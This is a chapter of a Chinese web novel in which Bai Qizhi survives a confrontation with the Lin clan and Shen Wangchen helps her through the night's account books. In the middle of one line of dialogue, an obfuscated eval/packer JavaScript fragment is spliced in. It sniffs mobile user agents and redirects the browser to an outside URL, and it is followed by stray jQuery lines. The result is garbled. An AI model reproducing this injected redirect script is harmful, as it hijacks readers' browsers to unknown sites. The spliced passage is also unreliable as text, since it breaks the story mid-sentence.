朝朝颂安 作品
166. 喘息
她也当然知道沈忘尘不止是在问她痛不痛。
白栖枝刚要张嘴回应,泪珠子却先一步掉下。
倘若现在有人问她是在哭什么,她也只消要答“不知道”的。
她不痛,也不伤心,只觉得拍桌的那只手好麻好痒,像是有千万只蚂蚁在啃噬她的血肉一样。
白栖枝抬手擦了擦眼泪,偏巧这功夫林八爷竟径直从门外进入。
他没有声招呼,见到白栖枝也没问好,只冷冷开口:
“白小姐,我家七叔有请。”
此时林家那些人叫白栖枝前去,定是设下了鸿门宴。
沈忘尘神色陡然一紧,忙拉住白栖枝的手,想叫她不要去。
可冰冷的指尖探上红肿滚烫的手心时,他像是被烫了一下,指尖一颤,速速收手。
他逾矩了。
白栖枝早知今日会有此一事。
既然自知冲突无法避免,她索性从心一言。
沈忘尘不知道迎接白栖枝的将会是什么,等他回到院子照看小木头的时候,就听见那些个下人丫头子们说:主母可是被那些恶鬼混账给逼疯了,满屋的东西说砸就砸,林家那些人止都止不住,还想用绳子把主母捆起来!你说说,主母那样温顺良善的性子如今被逼成了什么样?真是造孽!!!
另一个则答:没办法,到底是大爷的亲族,都说不看僧面看佛面,就算是为了大爷的面子,也不能将他们就此撵出去,更何况主子们的事儿岂是容得咱们这些下等人置喙的?还是好生干好咱们的分内事吧。
“真是……”
外头的声音渐渐远了。
真是什么呢?沈忘尘没有听见。
许是外头讨论的声音太大,小木头趴在他身子里软软地抻了个懒腰,又沉沉睡去了。
还是做狸奴好啊。沈忘尘想着,轻轻捋顺小木头渐渐养得水滑的皮毛。
恰巧此时有几只鸟雀落在葱葱树间,间或发出几声脆鸣。
正是:
始知锁向金笼听,不及林间自在啼。
忽而院门一响,小木头吓得支棱起脑袋惶惶盯着门口处的人影。
未等沈忘尘先回过神来,它已兀自跳下沈忘尘的双腿,踏着轻飘飘的步子来到白栖枝脚边,在她身旁转了几个转儿。
白栖枝觉得自己手脏。
她下意识用衣摆蹭了蹭自己手上的鲜血,而后才蹲下身子来抚摸小木头嶙峋的身躯。
这一场鸿门宴,她输也是赢。
她用尽了自己的不体面换来了让林家那些人离开林家的一纸契约。
她威逼利诱,半疯半癫,甚至要用整个林家来为她陪葬,这才用那些不干净的账目换来了那些人等事情结束立马离开林家的诺言。
白纸黑字,就算想否认也没用了。
这一场仗,输也是赢——
她输也是赢!
“枝枝!”
后来的事白栖枝已经不知道了,在用尽最后一点力气安抚小木头后,她听闻鸟雀啁啾,两眼一黑,就着一手血渍,昏倒在冷彻的青砖上。
再醒来,她已经不知道自己是在哪里了。
整日没吃饭,她胃里一阵翻江倒海,想呕,竟是连酸水都呕不出来了。
她真的已经精疲力尽了。
屋内烛火比天亮。
散去眼前一阵昏黑云翳,白栖枝撑着头痛欲裂的头颅四处打量。
如果她没看错,这里应是沈忘尘的屋子。
掌心一阵疼痛。
白栖枝放下手一看,原本被碎瓷片划烂的手不知何时早已被上药包好,身上的衣物倒是没少半点。
这样偷懒是不行的。
明日、明日就是回衙门交代的时候,这样偷懒下去是不行的。
她要……她要……
白栖枝惶惶然起身,紧接着双腿就是一软,不待她踏出步子,她的双膝就率先狠狠捶地。
她整个人如烂肉般跌落在地上。
身上被抽去了所有力气。
白栖枝脑子里全是“这样不成啊,这样不成啊”,她还有好多事没有做完。
好想吐,好想吐。
不能吐,不能吐。
好难受,好难受。
活下去,活下去。
——暂且忍耐。
沈忘尘甫一回屋内,见到的就是白栖枝双手死死封住自己唇舌,一张脸苍白得透明,好像下一秒就会随风消散一般。
他摇着轮椅匆匆赶去。
“枝枝,别忍着,哭出来……”
“芍药熬了药,有什么难受的哭出来就好了。”
“别忍着……”
白栖枝头疼的厉害,沈忘尘再说什么她已经听不清了,她只觉得自己和这个世界隔了一层细密且不透风的膜,她拼命想要捅破那层膜,可最终却只能将束缚得越来越紧迫。
她是真的要疯了。
白栖枝呼吸着,呼吸也像抽泣。
她颤颤地不再扼住自己的口鼻,她颤颤地放下手,颤颤地任这股濒临死亡的感觉流遍全身。
而后,她将自己重塑。
“现在是几时了?”
“卯时末。”
也差不多了,明日一早官府会派人来将她“请”回衙门。
白栖枝努力地用手撑着床起身。
她缓了缓,开口,没有任何多余的情绪:“我去处理账本,明日上交官府……对了。”白栖枝似是想起了什么,“那张契?”
“我已让芍药好生保管,不会让任何人寻到。”见白栖枝摇摇起身就要向外走去,他惊慌地带着膝上的小木头奋力去追,“枝枝,你要去哪里?”
白栖枝:“书房。”
夜深人静时。
今夜的林家注定是个不眠夜。
白栖枝自知林家那边肯定会想新的法子对付她,可她已经顾不得了。
眼下林听澜不在家,他走前特地将整个林家交由她托付。
她不要欠林听澜任何,她要在他回来时将林家原原本本地交还他。
她不欠他任何!!!
沈忘尘嘱咐芍药在外头看好别让任何人进来,自己则在屋内劝着白栖枝喝药休息。
可小姑娘倔劲儿上来犟得就跟一头驴一样。
面对着苍苍群山般的压力,她没有哭也没有笑。
但沈忘尘知道,她每一次凌乱的呼吸都是她在压抑泪光的证据。
这次,沈忘尘没有问自己允不允许帮她忙,他没有问,只是兀自放下药碗抢过她手中的朱笔,硬起性子道:
“好生歇息,这林家什么时候成你一个人的林家了?尚有我在,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15786890|157766||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
何须万事都由你一人来担?”
他今日特地绾了冠,执笔坐在案前,竟也有了几分当年的风采。
白栖枝在笔被抽走的时候脑子还是白的。
她愣愣地看向沈忘尘,木头一样的,保持着原来的姿势定在原地,不知该如何是好。
直到她手中的账簿被人抽走,面前人正襟危坐,捻了赤红朱笔伏于案前替她算起这剪不断理还乱的账簿,她突然就觉得很窝心。
事情到底是到底是如何变成这样的啊?
白栖枝不知道。
左右自己眼下无事可做,她脑内那根绷紧的弦却未松下半分,她交叠着手臂伏在桌上。
伏着伏着,就将整张脸埋进了臂弯。
夜里有风。
沈忘尘听见外面有雨滴落。
今夜无雨。
那是白栖枝掉眼泪的声音。
小姑娘颤抖着肩,细弱地,发出比笔落纸页还要细小的声音。
沈忘尘猜她是在咬着唇颤抖着哭泣。
他没有问,他强装一切都没发生。
因为曾经性格都是相近的,在某些软弱的时刻,他们是这偌大宅院中最懂彼此心绪的同盟。
白栖枝哭的很快。
不多时她就摸了把眼泪,擤了擤鼻涕,拽过其他账本继续整合。
两人做事都效率定比一个人还要快上许多。
只是白栖枝从来就是个喜欢凡事自己担的角色,她鲜少叫人帮忙,更不懂如何开口。
所以对于她来说,问没有用,就需要有人冲出来强硬地帮她来打下手才行。
这摞山一样高的账簿不到二更就被两人处理完毕。
白栖枝暂做收尾。
明日,只需要将这些东西交给知府大人就好了。
那一碗汤药早就凉穿春夜。
白栖枝捧起它的时候,没有多说,只在沈忘尘身旁道了句不可闻的“多谢”,随后一饮而尽。
沈忘尘假意没听到。
他许久没有熬到这么晚了,之前在书房里还小小地发作过一会儿,而今筋疲力尽,竟是连眼都要睁不开了。
俄而身形微动。
沈忘尘尽力睁开沉沉睡眼,仰头,就见白栖枝站在他身后,为他徐徐推动轮椅。
天上月,遥望似一团银。
他逆着光朝她望,她的脸被月光映了个亮堂堂。
“多谢……”
他吃力弯起淡色唇瓣一笑,合眼,再没有力气睁眼,沉沉睡去了。
等他再睁眼,白栖枝早就不见踪影。
听芍药说:她一早就被官府请了回去,如今应又回了衙门。
沈忘尘相信她是不会又事的。
脸颊微痒,侧目,原是一旁的小木头揣手伏在床上,在嘻嘻地舔他的脸。
沈忘尘费力拖动自己残破的身躯起来,一旁的芍药连忙去扶。
“喵~”
随着奶声奶气的一声叫,小木头知趣调到沈忘尘腰腹上,盘着卧着,歪头用它那双水汪汪的大眼睛看着他。
沈忘尘伸手揉了揉它的小脑袋。
“还是当小狸奴好啊。”
他笑着,掐着小木头的两腋,颤颤地,将它举起,又将它拥进怀中,感受它清浅的呼吸和起伏温热的身躯,淡淡笑道。
还是当狸奴好啊……